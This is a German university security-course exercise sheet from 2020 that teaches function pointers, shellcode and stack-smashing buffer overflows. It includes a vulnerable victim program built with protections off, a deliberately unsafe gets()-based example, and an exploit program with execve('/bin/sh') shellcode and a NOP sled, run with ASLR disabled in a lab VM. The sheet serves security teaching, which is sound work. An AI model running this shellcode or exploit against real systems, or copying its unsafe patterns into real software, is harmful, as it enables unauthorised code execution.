Reaktive Sicherheit
Übungsblatt 4
SS 2020

Prof. Dr. Michael Meier
Dr. Felix Boes
Sabrina Heidler, Melina Hoffmann, Michael Lomberg, Daniel Meyer

Ausgabe: 11.05.2020
Abgabe: 21.05.2020

Aufgabe 1 (Funktionenpointer und Shellcodes, 10 Punkte)**.** In dieser Aufgabe beschäftigen Sie sich mit den Grundlagen zum Schreiben von Shellcodes.

(1) Was ist die Signatur einer C-Funtkion? Welche Parameter sind Teil der Signatur? Was ist die Signatur von `int funk(int x, char y)`? Geben Sie eine geeignete Quelle an.

(2) Bekanntlich hat jede Variable in C einen Typ, eine Adresse und einen Wert. Was ist der Typ eines Funktionenpointers, der die Adresse der oben genannten Funktion `funk` speichern kann? (Hinweis: Es ist kein `void`-Pointer!) Vervollständigen Sie den folgenden Code.

```c
#include <stdio.h>

int funk(int x, char y) {
  printf("%c\n", y);
  return 4*x;
}

int main(){
  ??? fptr ???;   // Der Funktionspointer wird definiert.
  fptr = &funk;
  printf("Adr von func: %p\n", fptr);
  return 0;
}
```

(3) Verwenden Sie das Kommandozeilenprogramm `objdump`[1] um den Maschinencode von tunix aus Aufgabe 3 von Übungszettel 3 zu erhalten. (Der Maschinencode kann auch von der Vorlesungswebseite heruntergeladen werden.) Beschreiben Sie die Ausgabe von `objdump`.

(4) Erklären Sie die Funktionsweise des folgenden C-Programms. Welches Programm verbirgt sich hinter dem Maschinencode?

```c
unsigned char maschinen_code_als_string[] =
  "\xb8\x01\x00\x00\x00"
  "\xbf\x01\x00\x00\x00"
  "\x48\xbe\x48\x61\x6c\x6c\x6f\x20\x44\x75"
  "\x56"
  "\x54"
```

[1] Schauen Sie in die Manpage um zu lernen wie `objdump` die Intel Syntax verwendet.

```
7    "\x5e"
8    "\xba\x08\x00\x00\x00"
9    "\x0f\x05"
10   "\xbf\x00\x00\x00\x00"
11   "\xb8\x3c\x00\x00\x00"
12   "\x0f\x05";
13 int main() {
14     void (*maschinen_code_als_funk)();
15     maschinen_code_als_funk = (void(*)())maschinen_code_als_string;
16     maschinen_code_als_funk();
17     return 0;
18 }
```

Aufgabe 2 (Buffer-Overflow mit Funktionspointer, Theorie, ohne Punkte)**.** Betrachten Sie folgenden C-Code.

```
1  void interne_funktion_1() { printf("Ich bin sicher.\n"); }
2  void interne_funktion_2() { printf("Ich bin auch sicher.\n"); }
3  void interne_funktion_3() { printf("Ich loesche alle Daten.\n"); }
4
5  int main(int argc, char** argv) {
6    void (* sichere_fkt)();
7    char buf[32];
8
9    printf("Welche sichere Funktion soll aufgerufen werden? (1 oder 2) ");
10   gets(buf);
11   if(buf[0] == '1') sichere_fkt = interne_funktion_1;
12   else sichere_fkt = interne_funktion_2;
13
14   printf("Soll die sichere Funktion nun aufgerufen werden? (J oder N) ");
15   gets(buf);
16   if(buf[0] == 'J') sichere_fkt();
17
18   return 0;
19 }
```

Der Einfachheit halber wollen wir davon ausgehen, dass `buf` die Adresse `0x7FFF FFFF 0000` hat. Die Funktionen `interne_funktion_1`, `interne_funktion_2` und `interne_funktion_3` sollen die Adressen `0x0000 0000 FF10`, `0x0000 0000 FF20` und `0x0000 0000 FF30` haben. Beschreiben Sie einen Angriff, um in Zeile 16 die Funktion `interne_funktion_3` aufzurufen.

Aufgabe 3 (Stacksmashing Theorie, ohne Punkte)**.** Betrachten Sie den unten stehenden C-Code von `victim.c` und `exploit.c`. Gehen Sie davon aus, dass die zugehörigen Programme auf einem Linux Betriebssystem auf einer x86-64-Prozessorarchitektur kompiliert und ausgeführt werden[2]. Lösen Sie die folgenden Teilaufgaben. **Bemerkung:** Dies ist eine theoretische Aufgabe. Sie müssen keine Werte für einen realen Angriff herausfinden.

(1) Beschreiben Sie, was das Programm zu `victim.c` macht.

(2) Erklären Sie die Parameter von folgendem Aufruf.
`clang -fno-stack-protector -z execstack -g -o victim victim.c`.

(3) Skizzieren Sie für jede Zeile von `victim.c` den Inhalt des Stacks (mit von Ihnen gewählten Adressen) und erklären Sie, warum das Programm zu `victim.c` für einen Stack Smashing Angriff anfällig ist.

[2]Dabei dürfen Sie davon ausgehen, dass die üblichen Schutzmechanismen ausgeschaltet sind. Falls Sie den zugehörigen Assemblercode sehen möchten, können Sie die Webseite `https://godbolt.org/` nutzen. Stellen Sie dort als Compiler eine aktuelle Version von clang ein.

(4) Beschreiben Sie, was das Programm zu `exploit.c` macht.

(5) Gehen Sie davon aus, dass die Ausgabe des Programm zu `exploit.c` als Eingabe des Programms `victim.c` interpretiert wird[3]. Leiten Sie einen passenden Werte für `jmpto` her und erklären Sie, wieso mit diesen Werten ein erfolgreicher Stack Smashing Angriff durchgeführt werden kann.

Listing 1: victim.c

```
1 // Compile: clang -fno-stack-protector -z execstack -g -o victim victim.c
2 #include <string.h>
3 int main(int argc, char** argv){
4   char buf[0x40];
5   strcpy(buf, argv[1]);
6   return 0;
7 }
```

Listing 2: exploit.c

```
1  // Compile: clang -o exploit exploit.c
2  #include <stdio.h>
3  #include <string.h>
4  #define padding_magic 0x18
5  char shellcode[] =
6    "\x48\x83\xec\x40\xb0\x3b\x48\x31"
7    "\xd2\x48\x31\xf6\x52\x48\xbb\x2f"
8    "\x2f\x62\x69\x6e\x2f\x73\x68\x53"
9    "\x54\x5f\x0f\x05";
10 char jmpto[] = "Hier Adresse einfuegen."; // x64-Adressen sind 48 Bit lang!
11
12 int main(int argc, char** argv) {
13   int i;
14   for (i = 0; i < padding_magic+0x40-strlen(shellcode); i++) {
15     printf("\x90");
16   }
17
18   printf("%s", shellcode);
19   printf("%s", jmpto);
20   return 0;
21 }
```

Aufgabe 4 (Stacksmashing Praxis, 10 Punkte)**.** In dieser Aufgabe werden Sie einen Stacksmashingangriff durchführen. Richten Sie zu diesem Zweck eine wie in Übungszettl 0 beschreibene Ubuntu-Installation auf einer virtuellen Maschine ein. Lösen Sie folgende Teilaufgaben und dokumentieren Sie dabei Ihr Vorgehen.

(1) Was bezeichnet man mit ASLR? Zu welchem Zweck wird ASLR verwendet? Starten Sie die virtuelle Maschine und deaktivieren Sie ASLR temporär.

(2) Gegeben folgender C-Code. Erklären Sie die funktionsweise des Programmcodes. Der Inline Assembler[4] ist in AT&T Syntax geschrieben. Erklären Sie auch die gegebenen Formatstrings.

[3] Um die Ausgabe vom Programm zu `exploit.c` an die Eingabe des Programms zu `victim.c` zu übergeben, kann man folgenden Befehl aufrufen `./victim $(./exploit)`.

[4] Siehe auch `https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html` und `https://en.wikipedia.org/wiki/Inline_assembler`

Listing 3: was_macht_dieser_code.c

```c
#include <stdio.h>
#include <stdint.h>

int main() {
  uint64_t rip, rbp, rsp;
  asm ("lea (%%rip),%%rax" : "=r" (rip));
  asm ("lea (%%rbp),%%rax" : "=r" (rbp));
  asm ("lea (%%rsp),%%rax" : "=r" (rsp));
  printf("rip:    %p\n", rip);
  printf("rbp:    %p\n", rbp);
  printf("rsp:    %p\n", rsp);
  return 0;
}
```

(3) Betrachten Sie die aktuellen C-Codes `victim.c` und `exploit.c` von der Vorlesungswebseite. Nutzen Sie die oben angegebenen Codeschnipsel oder den Debugger `gdb` um herauszufinden, wo `buf` liegt und welche Adresse `jmpto` haben muss. Erklären Sie Ihr Vorgehen.

Hinweis 1: Die x86-64-Prozessorarchitektur ist eine litte-endian-Architektur, d.h. das Byte mit den niederwertigsten Bits wird vor den anderen gespeichert. Aus der Adresse `0x12345678` wird also `0x78563412` im Speicher.

Hinweis 2: Die Adresse von `jmpto` hängt stark von den an `victim` übergebenen Parametern ab.